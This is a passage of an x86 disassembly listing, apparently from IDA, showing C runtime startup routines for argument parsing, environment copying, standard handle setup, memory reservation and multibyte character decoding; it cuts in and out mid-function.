call sub_4071B0
pop ecx
loc_40923E: ; CODE XREF: sub_4091C0+25j
push 0
mov eax, dword_411770
push eax
call dword_411D98
loc_40924C: ; CODE XREF: sub_4091C0+Fj
pop ebx
retn
sub_4091C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409250 proc near ; CODE XREF: sub_407930+3Cp
; sub_407930+7Ap ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D30
retn
sub_409250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409260 proc near ; CODE XREF: sub_407930+6Ap
; sub_407B60+F7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, offset dword_411774
jmp short loc_4092B2
; ---------------------------------------------------------------------------
loc_40926E: ; CODE XREF: sub_409260+58j
cmp [esi], ebx
jnz short loc_4092AF
push 1
mov eax, [esi+4]
push eax
call sub_40AE10
add esp, 8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40928E
test edi, edi
jnz short loc_409290
loc_40928E: ; CODE XREF: sub_409260+28j
jmp short loc_4092BA
; ---------------------------------------------------------------------------
loc_409290: ; CODE XREF: sub_409260+2Cj
cmp edi, 1
jz short loc_4092AA
push 0
mov eax, [esi+4]
push eax
call sub_40AE10
add esp, 8
mov eax, [esi+4]
push eax
call edi
pop ecx
loc_4092AA: ; CODE XREF: sub_409260+33j
or eax, 0FFFFFFFFh
jmp short loc_4092C5
; ---------------------------------------------------------------------------
loc_4092AF: ; CODE XREF: sub_409260+10j
add esi, 8
loc_4092B2: ; CODE XREF: sub_409260+Cj
cmp esi, offset dword_4117C4
jb short loc_40926E
loc_4092BA: ; CODE XREF: sub_409260:loc_40928Ej
mov eax, [esp+0Ch+arg_4]
push eax
call dword_411DE4
loc_4092C5: ; CODE XREF: sub_409260+4Dj
pop edi
pop esi
pop ebx
retn
sub_409260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4092D0 proc near ; CODE XREF: sub_407B50+5p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D18
test eax, eax
jnz short loc_4092F0
call dword_411CE8
push eax
call sub_408300
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4092F0: ; CODE XREF: sub_4092D0+Dj
xor eax, eax
retn
sub_4092D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409300 proc near ; CODE XREF: sub_407B60+5Fp
push offset dword_412854
call dword_411DE8
retn
sub_409300 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
lea eax, [ebp-8]
push eax
call dword_411DE8
mov eax, [ebp-8]
mov edx, [ebp-4]
mov ecx, dword_412854
mov ebx, dword_412858
sub eax, ecx
sbb edx, ebx
mov [ebp-8], eax
mov [ebp-4], edx
mov eax, [ebp-8]
mov edx, [ebp-4]
push edx
push eax
push 0
push 2710h
call sub_40AF00
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409360 proc near ; CODE XREF: sub_407B60+64p
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
push 480h
call sub_408260
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_409382
push 1
call sub_409250
pop ecx
loc_409382: ; CODE XREF: sub_409360+18j
mov dword_413988, ebx
mov dword_413A88, 20h
jmp short loc_4093AC
; ---------------------------------------------------------------------------
loc_409394: ; CODE XREF: sub_409360+58j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_4093AC: ; CODE XREF: sub_409360+32j
mov eax, dword_413988
add eax, 480h
cmp ebx, eax
jb short loc_409394
lea eax, [ebp+var_58]
push eax
call dword_411DA8
cmp [ebp+var_26], 0
jz loc_4094D2
cmp [ebp+var_24], 0
jz loc_4094D2
mov eax, [ebp+var_24]
mov eax, [eax]
mov [ebp+var_10], eax
mov eax, [ebp+var_24]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_10]
mov edx, [ebp+var_4]
add edx, eax
mov [ebp+var_8], edx
cmp eax, 800h
jle short loc_409403
mov [ebp+var_10], 800h
loc_409403: ; CODE XREF: sub_409360+9Aj
mov esi, 1
jmp short loc_40945E
; ---------------------------------------------------------------------------
loc_40940A: ; CODE XREF: sub_409360+107j
push 480h
call sub_408260
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_409425
mov eax, dword_413A88
mov [ebp+var_10], eax
jmp short loc_409469
; ---------------------------------------------------------------------------
loc_409425: ; CODE XREF: sub_409360+B9j
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_40944D
; ---------------------------------------------------------------------------
loc_409435: ; CODE XREF: sub_409360+FBj
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_40944D: ; CODE XREF: sub_409360+D3j
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_409435
inc esi
loc_40945E: ; CODE XREF: sub_409360+A8j
mov eax, [ebp+var_10]
cmp dword_413A88, eax
jl short loc_40940A
loc_409469: ; CODE XREF: sub_409360+C3j
xor edi, edi
jmp short loc_4094CD
; ---------------------------------------------------------------------------
loc_40946D: ; CODE XREF: sub_409360+170j
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, 0FFFFFFFFh
jz short loc_4094C0
mov edx, [ebp+var_4]
movzx edx, byte ptr [edx]
test edx, 1
jz short loc_4094C0
test edx, 8
jnz short loc_40949A
push eax
call dword_411DEC
test eax, eax
jz short loc_4094C0
loc_40949A: ; CODE XREF: sub_409360+12Dj
mov eax, edi
and eax, 1Fh
imul eax, 24h
mov edx, edi
sar edx, 5
mov edx, dword_413988[edx*4]
lea ebx, [edx+eax]
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebx], eax
mov eax, [ebp+var_4]
mov al, [eax]
mov [ebx+4], al
loc_4094C0: ; CODE XREF: sub_409360+117j
; sub_409360+125j ...
inc edi
inc [ebp+var_4]
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_4094CD: ; CODE XREF: sub_409360+10Bj
cmp edi, [ebp+var_10]
jl short loc_40946D
loc_4094D2: ; CODE XREF: sub_409360+69j
; sub_409360+73j
xor edi, edi
loc_4094D4: ; CODE XREF: sub_409360+23Ej
imul eax, edi, 24h
mov edx, dword_413988
lea ebx, [edx+eax]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz loc_409596
mov byte ptr [ebx+4], 81h
test edi, edi
jnz short loc_4094FD
mov [ebp+var_5C], 0FFFFFFF6h
jmp short loc_40950E
; ---------------------------------------------------------------------------
loc_4094FD: ; CODE XREF: sub_409360+192j
cmp edi, 1
setz al
and eax, 1
add eax, 0FFFFFFF4h
mov [ebp+var_5C], eax
loc_40950E: ; CODE XREF: sub_409360+19Bj
mov eax, [ebp+var_5C]
push eax
call dword_411CD4
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_409590
mov eax, [ebp+var_C]
push eax
call dword_411DEC
mov [ebp+var_14], eax
test eax, eax
jz short loc_409590
call dword_411D64
mov [ebp+var_64], eax
call dword_411D64
push 2
push 1
push 0
lea edx, [ebp+var_60]
push edx
push eax
mov eax, [ebp+var_C]
push eax
mov eax, [ebp+var_64]
push eax
call dword_411DF0
test eax, eax
jz short loc_409565
mov eax, [ebp+var_60]
mov [ebp+var_C], eax
loc_409565: ; CODE XREF: sub_409360+1FDj
mov eax, [ebp+var_C]
mov [ebx], eax
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 2
jnz short loc_40957D
or byte ptr [ebx+4], 40h
jmp short loc_40959A
; ---------------------------------------------------------------------------
loc_40957D: ; CODE XREF: sub_409360+215j
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 3
jnz short loc_40959A
or byte ptr [ebx+4], 8
jmp short loc_40959A
; ---------------------------------------------------------------------------
loc_409590: ; CODE XREF: sub_409360+1C0j
; sub_409360+1D1j
or byte ptr [ebx+4], 40h
jmp short loc_40959A
; ---------------------------------------------------------------------------
loc_409596: ; CODE XREF: sub_409360+186j
or byte ptr [ebx+4], 80h
loc_40959A: ; CODE XREF: sub_409360+21Bj
; sub_409360+228j ...
inc edi
cmp edi, 3
jl loc_4094D4
mov eax, dword_413A88
push eax
call dword_411DF4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_409360 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
xor ebx, ebx
loc_4095C4: ; CODE XREF: DMN0:00409617j
cmp dword_413988[ebx*4], 0
jz short loc_409613
mov esi, dword_413988[ebx*4]
jmp short loc_4095EA
; ---------------------------------------------------------------------------
loc_4095D7: ; CODE XREF: DMN0:004095F8j
cmp dword ptr [esi+8], 0
jz short loc_4095E7
lea eax, [esi+0Ch]
push eax
call dword_411DCC
loc_4095E7: ; CODE XREF: DMN0:004095DBj
add esi, 24h
loc_4095EA: ; CODE XREF: DMN0:004095D5j
mov eax, dword_413988[ebx*4]
add eax, 480h
cmp esi, eax
jb short loc_4095D7
mov eax, dword_413988[ebx*4]
push eax
call sub_4071B0
pop ecx
mov dword_413988[ebx*4], 0
loc_409613: ; CODE XREF: DMN0:004095CCj
inc ebx
cmp ebx, 40h
jl short loc_4095C4
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409620 proc near ; CODE XREF: sub_4097D0+3Fp
; sub_4097D0+76p
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_10]
mov dword ptr [edx], 0
mov edx, [ebp+arg_C]
mov dword ptr [edx], 1
mov ebx, [ebp+arg_0]
cmp [ebp+arg_4], 0
jz short loc_409651
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_409651: ; CODE XREF: sub_409620+24j
cmp byte ptr [ebx], 22h
jnz short loc_40968C
jmp short loc_409668
; ---------------------------------------------------------------------------
loc_409658: ; CODE XREF: sub_409620+53j
test ecx, ecx
jz short loc_409663
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_409663: ; CODE XREF: sub_409620+3Aj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_409668: ; CODE XREF: sub_409620+36j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_409675
cmp byte ptr [ebx], 0
jnz short loc_409658
loc_409675: ; CODE XREF: sub_409620+4Ej
test ecx, ecx
jz short loc_40967F
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_40967F: ; CODE XREF: sub_409620+57j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
cmp byte ptr [ebx], 22h
jnz short loc_4096C4
inc ebx
jmp short loc_4096C4
; ---------------------------------------------------------------------------
loc_40968C: ; CODE XREF: sub_409620+34j
; sub_409620+91j
test ecx, ecx
jz short loc_409697
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_409697: ; CODE XREF: sub_409620+6Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
mov eax, ebx
inc ebx
mov al, [eax]
mov [ebp+var_9], al
mov al, [ebp+var_9]
cmp al, 20h
jz short loc_4096B3
test al, al
jz short loc_4096B3
cmp al, 9
jnz short loc_40968C
loc_4096B3: ; CODE XREF: sub_409620+89j
; sub_409620+8Dj
cmp [ebp+var_9], 0
jnz short loc_4096BC
dec ebx
jmp short loc_4096C4
; ---------------------------------------------------------------------------
loc_4096BC: ; CODE XREF: sub_409620+97j
test ecx, ecx
jz short loc_4096C4
mov byte ptr [ecx-1], 0
loc_4096C4: ; CODE XREF: sub_409620+67j
; sub_409620+6Aj ...
mov [ebp+var_8], 0
loc_4096CB: ; CODE XREF: sub_409620+181j
cmp byte ptr [ebx], 0
jz short loc_4096DD
jmp short loc_4096D3
; ---------------------------------------------------------------------------
loc_4096D2: ; CODE XREF: sub_409620+B7j
; sub_409620+BBj
inc ebx
loc_4096D3: ; CODE XREF: sub_409620+B0j
mov al, [ebx]
cmp al, 20h
jz short loc_4096D2
cmp al, 9
jz short loc_4096D2
loc_4096DD: ; CODE XREF: sub_409620+AEj
cmp byte ptr [ebx], 0
jz loc_4097A6
cmp [ebp+arg_4], 0
jz short loc_4096F7
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_4096F7: ; CODE XREF: sub_409620+CAj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_4096FC: ; CODE XREF: sub_409620+16Dj
mov [ebp+var_4], 1
xor edi, edi
jmp short loc_409709
; ---------------------------------------------------------------------------
loc_409707: ; CODE XREF: sub_409620+ECj
inc ebx
inc edi
loc_409709: ; CODE XREF: sub_409620+E5j
cmp byte ptr [ebx], 5Ch
jz short loc_409707
cmp byte ptr [ebx], 22h
jnz short loc_409759
test edi, 1
jnz short loc_409746
cmp [ebp+var_8], 0
jz short loc_409733
cmp byte ptr [ebx+1], 22h
jnz short loc_40972A
inc ebx
jmp short loc_40973A
; ---------------------------------------------------------------------------
loc_40972A: ; CODE XREF: sub_409620+105j
mov [ebp+var_4], 0
jmp short loc_40973A
; ---------------------------------------------------------------------------
loc_409733: ; CODE XREF: sub_409620+FFj
mov [ebp+var_4], 0
loc_40973A: ; CODE XREF: sub_409620+108j
; sub_409620+111j
xor eax, eax
cmp [ebp+var_8], 0
setz al
mov [ebp+var_8], eax
loc_409746: ; CODE XREF: sub_409620+F9j
shr edi, 1
jmp short loc_409759
; ---------------------------------------------------------------------------
loc_40974A: ; CODE XREF: sub_409620+13Ej
test ecx, ecx
jz short loc_409754
mov eax, ecx
inc ecx
mov byte ptr [eax], 5Ch
loc_409754: ; CODE XREF: sub_409620+12Cj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_409759: ; CODE XREF: sub_409620+F1j
; sub_409620+128j
mov eax, edi
dec edi
test eax, eax
jnz short loc_40974A
mov al, [ebx]
test al, al
jz short loc_409774
cmp [ebp+var_8], 0
jnz short loc_409776
cmp al, 20h
jz short loc_409774
cmp al, 9
jnz short loc_409776
loc_409774: ; CODE XREF: sub_409620+144j
; sub_409620+14Ej
jmp short loc_409792
; ---------------------------------------------------------------------------
loc_409776: ; CODE XREF: sub_409620+14Aj
; sub_409620+152j
cmp [ebp+var_4], 0
jz short loc_40978C
test ecx, ecx
jz short loc_409787
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_409787: ; CODE XREF: sub_409620+15Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_40978C: ; CODE XREF: sub_409620+15Aj
inc ebx
jmp loc_4096FC
; ---------------------------------------------------------------------------
loc_409792: ; CODE XREF: sub_409620:loc_409774j
test ecx, ecx
jz short loc_40979C
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_40979C: ; CODE XREF: sub_409620+174j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
jmp loc_4096CB
; ---------------------------------------------------------------------------
loc_4097A6: ; CODE XREF: sub_409620+C0j
cmp [ebp+arg_4], 0
jz short loc_4097BB
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov dword ptr [eax], 0
loc_4097BB: ; CODE XREF: sub_409620+18Aj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
pop edi
pop ebx
mov esp, ebp
pop ebp
retn
sub_409620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097D0 proc near ; CODE XREF: sub_407B60+69p
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
call dword_411D90
mov esi, eax
cmp byte ptr [esi], 0
jnz short loc_409802
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call dword_411CDC
lea esi, [ebp+var_10C]
loc_409802: ; CODE XREF: sub_4097D0+16j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0
push esi
call sub_409620
add esp, 14h
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
lea eax, [edx+eax*4]
push eax
call sub_408260
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_409835
push 1
call sub_409250
pop ecx
loc_409835: ; CODE XREF: sub_4097D0+5Bj
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [ebx+eax*4]
push eax
push ebx
push esi
call sub_409620
add esp, 14h
mov eax, [ebp+var_4]
dec eax
mov dword_4117C4, eax
mov dword_4117C8, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4097D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409870 proc near ; CODE XREF: sub_407B60+6Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword_411DF8
mov [ebp+var_8], eax
test eax, eax
jnz short loc_40988E
mov eax, off_411894
mov [ebp+var_8], eax
loc_40988E: ; CODE XREF: sub_409870+14j
mov [ebp+var_4], 0
mov ebx, [ebp+var_8]
jmp short loc_4098B3
; ---------------------------------------------------------------------------
loc_40989A: ; CODE XREF: sub_409870+46j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_40989F: ; CODE XREF: sub_409870+34j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_40989F
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_4098B1
add [ebp+var_4], esi
loc_4098B1: ; CODE XREF: sub_409870+3Cj
add ebx, esi
loc_4098B3: ; CODE XREF: sub_409870+28j
cmp byte ptr [ebx], 0
jnz short loc_40989A
mov eax, [ebp+var_4]
inc eax
push eax
call sub_408260
pop ecx
mov edi, eax
mov dword_4117D0, eax
cmp dword_4117D0, 0
jnz short loc_4098DB
push 1
call sub_409250
pop ecx
loc_4098DB: ; CODE XREF: sub_409870+61j
mov ebx, [ebp+var_8]
jmp short loc_40990A
; ---------------------------------------------------------------------------
loc_4098E0: ; CODE XREF: sub_409870+9Dj
mov edx, ebx
or eax, 0FFFFFFFFh
loc_4098E5: ; CODE XREF: sub_409870+7Aj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_4098E5
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_409908
mov ecx, edi
mov edx, ebx
push ecx
sub ecx, edx
loc_4098FB: ; CODE XREF: sub_409870+93j
mov al, [edx]
mov [ecx+edx], al
inc edx
test al, al
jnz short loc_4098FB
pop eax
add edi, esi
loc_409908: ; CODE XREF: sub_409870+82j
add ebx, esi
loc_40990A: ; CODE XREF: sub_409870+6Ej
cmp byte ptr [ebx], 0
jnz short loc_4098E0
mov byte ptr [edi], 0
mov eax, off_411894
cmp eax, [ebp+var_8]
jz short loc_409926
mov eax, [ebp+var_8]
push eax
call dword_411DFC
loc_409926: ; CODE XREF: sub_409870+AAj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_409870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409930 proc near ; CODE XREF: sub_407B60+A3p
push ebx
call dword_411D90
mov ebx, eax
cmp byte ptr [ebx], 22h
jnz short loc_409954
loc_40993E: ; CODE XREF: sub_409930+19j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_40994B
cmp byte ptr [ebx], 0
jnz short loc_40993E
loc_40994B: ; CODE XREF: sub_409930+14j
cmp byte ptr [ebx], 22h
jnz short loc_40995C
inc ebx
jmp short loc_40995C
; ---------------------------------------------------------------------------
loc_409953: ; CODE XREF: sub_409930+27j
inc ebx
loc_409954: ; CODE XREF: sub_409930+Cj
cmp byte ptr [ebx], 20h
ja short loc_409953
jmp short loc_40995C
; ---------------------------------------------------------------------------
loc_40995B: ; CODE XREF: sub_409930+34j
inc ebx
loc_40995C: ; CODE XREF: sub_409930+1Ej
; sub_409930+21j ...
mov al, [ebx]
test al, al
jz short loc_409966
cmp al, 20h
jbe short loc_40995B
loc_409966: ; CODE XREF: sub_409930+30j
mov eax, ebx
pop ebx
retn
sub_409930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409970 proc near ; CODE XREF: sub_407C90+21p
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_4117D8, 0
jnz short loc_4099A3
push 1
push 2000h
mov eax, dword_4117DC
push eax
push 0
call dword_411E00
mov dword_4117D8, eax
test eax, eax
jz short loc_409A06
loc_4099A3: ; CODE XREF: sub_409970+13j
push 1Ch
lea eax, [ebp+var_1C]
push eax
mov eax, dword_4117D8
push eax
call dword_411E04
test eax, eax
jz short loc_409A06
cmp [ebp+var_C], 1000h
jnz short loc_4099D0
mov eax, [ebp+var_10]
mov edx, dword_4117D8
lea edi, [edx+eax]
jmp short loc_4099D6
; ---------------------------------------------------------------------------
loc_4099D0: ; CODE XREF: sub_409970+50j
mov edi, dword_4117D8
loc_4099D6: ; CODE XREF: sub_409970+5Ej
mov esi, edi
lea eax, [esi+ebx]
mov edx, dword_4117DC
mov ecx, dword_4117D8
add edx, ecx
cmp eax, edx
jb short loc_4099F1
xor eax, eax
jmp short loc_409A06
; ---------------------------------------------------------------------------
loc_4099F1: ; CODE XREF: sub_409970+7Bj
push 4
push 1000h
push ebx
push esi
call dword_411E00
test eax, eax
jz short loc_409A06
mov eax, esi
loc_409A06: ; CODE XREF: sub_409970+31j
; sub_409970+47j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_409970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A10 proc near ; CODE XREF: sub_4088A0+44p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov eax, [ebp+arg_C]
movzx eax, word ptr [eax+6]
mov [ebp+var_3], al
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
mov eax, [eax]
mov [ebp+var_2], ax
cmp off_411924, 0
jnz loc_409B8B
cmp [ebp+arg_4], 0
jnz short loc_409A5E
mov eax, [ebp+arg_C]
mov ecx, dword_40FB78
mov ebx, dword_40FB7C
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409A5E: ; CODE XREF: sub_409A10+31j
; sub_409A10+176j
cmp [ebp+arg_8], 0
jnz short loc_409A82
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409A82: ; CODE XREF: sub_409A10+52j
cmp [ebp+var_3], 0
jbe short loc_409AC9
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0C0h
cmp eax, 80h
jz short loc_409AAD
call sub_408460
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409AAD: ; CODE XREF: sub_409A10+88j
movzx eax, [ebp+var_2]
shl eax, 6
mov edx, [ebp+var_8]
movzx edx, byte ptr [edx]
and edx, 3Fh
or eax, edx
mov [ebp+var_2], ax
sub [ebp+var_3], 1
jmp short loc_409B3A
; ---------------------------------------------------------------------------
loc_409AC9: ; CODE XREF: sub_409A10+76j
mov eax, [ebp+var_8]
test byte ptr [eax], 80h
jnz short loc_409ADD
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov [ebp+var_2], ax
jmp short loc_409B3A
; ---------------------------------------------------------------------------
loc_409ADD: ; CODE XREF: sub_409A10+BFj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0E0h
cmp eax, 0C0h
jnz short loc_409B02
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 1Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 1
jmp short loc_409B3A
; ---------------------------------------------------------------------------
loc_409B02: ; CODE XREF: sub_409A10+DDj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0F0h
cmp eax, 0E0h
jnz short loc_409B27
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 2
jmp short loc_409B3A
; ---------------------------------------------------------------------------
loc_409B27: ; CODE XREF: sub_409A10+102j
call sub_408460
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409B3A: ; CODE XREF: sub_409A10+B7j
; sub_409A10+CBj ...
cmp [ebp+var_3], 0
jnz short loc_409B80
cmp [ebp+arg_0], 0
jz short loc_409B50
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_409B50: ; CODE XREF: sub_409A10+134j
mov edx, [ebp+arg_C]
mov word ptr [edx+6], 0
cmp [ebp+var_2], 0
jnz short loc_409B69
mov [ebp+var_C], 0
jmp short loc_409B78
; ---------------------------------------------------------------------------
loc_409B69: ; CODE XREF: sub_409A10+14Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_C], eax
loc_409B78: ; CODE XREF: sub_409A10+157j
mov eax, [ebp+var_C]
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409B80: ; CODE XREF: sub_409A10+12Ej
inc [ebp+var_8]
dec [ebp+arg_8]
jmp loc_409A5E
; ---------------------------------------------------------------------------
loc_409B8B: ; CODE XREF: sub_409A10+27j
mov [ebp+var_C], 0
cmp [ebp+arg_4], 0
jnz short loc_409BBE
mov eax, [ebp+arg_C]
mov ecx, dword_40FB78
mov ebx, dword_40FB7C
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409BBE: ; CODE XREF: sub_409A10+186j
; sub_409A10+292j
cmp [ebp+arg_8], 0
jnz short loc_409BE2
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409BE2: ; CODE XREF: sub_409A10+1B2j
mov al, [ebp+var_3]
cmp al, 10h
jnb short loc_409C1E
movzx eax, al
mov eax, off_411924[eax*4]
mov [ebp+var_14], eax
test eax, eax
jz short loc_409C1E
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_409C1E
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov edx, [ebp+var_14]
mov ax, [edx+eax*2]
mov [ebp+var_E], ax
test ax, ax
jnz short loc_409C31
loc_409C1E: ; CODE XREF: sub_409A10+1D7j
; sub_409A10+1E8j ...
call sub_408460
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_409CEA
; ---------------------------------------------------------------------------
loc_409C31: ; CODE XREF: sub_409A10+20Cj
movzx eax, [ebp+var_E]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov [ebp+var_3], dl
test eax, 8000h
jz short loc_409C5D
movzx eax, [ebp+var_2]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_E]
or eax, edx
mov [ebp+var_2], ax
loc_409C5D: ; CODE XREF: sub_409A10+238j
test [ebp+var_E], 1000h
jz short loc_409C7F
movzx eax, [ebp+var_2]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+var_2], ax
loc_409C7F: ; CODE XREF: sub_409A10+253j
test [ebp+var_E], 4000h
jz short loc_409C9C
mov eax, [ebp+var_8]
cmp byte ptr [eax], 0
jz short loc_409C9C
inc [ebp+var_8]
dec [ebp+arg_8]
mov [ebp+var_C], 0
loc_409C9C: ; CODE XREF: sub_409A10+275j
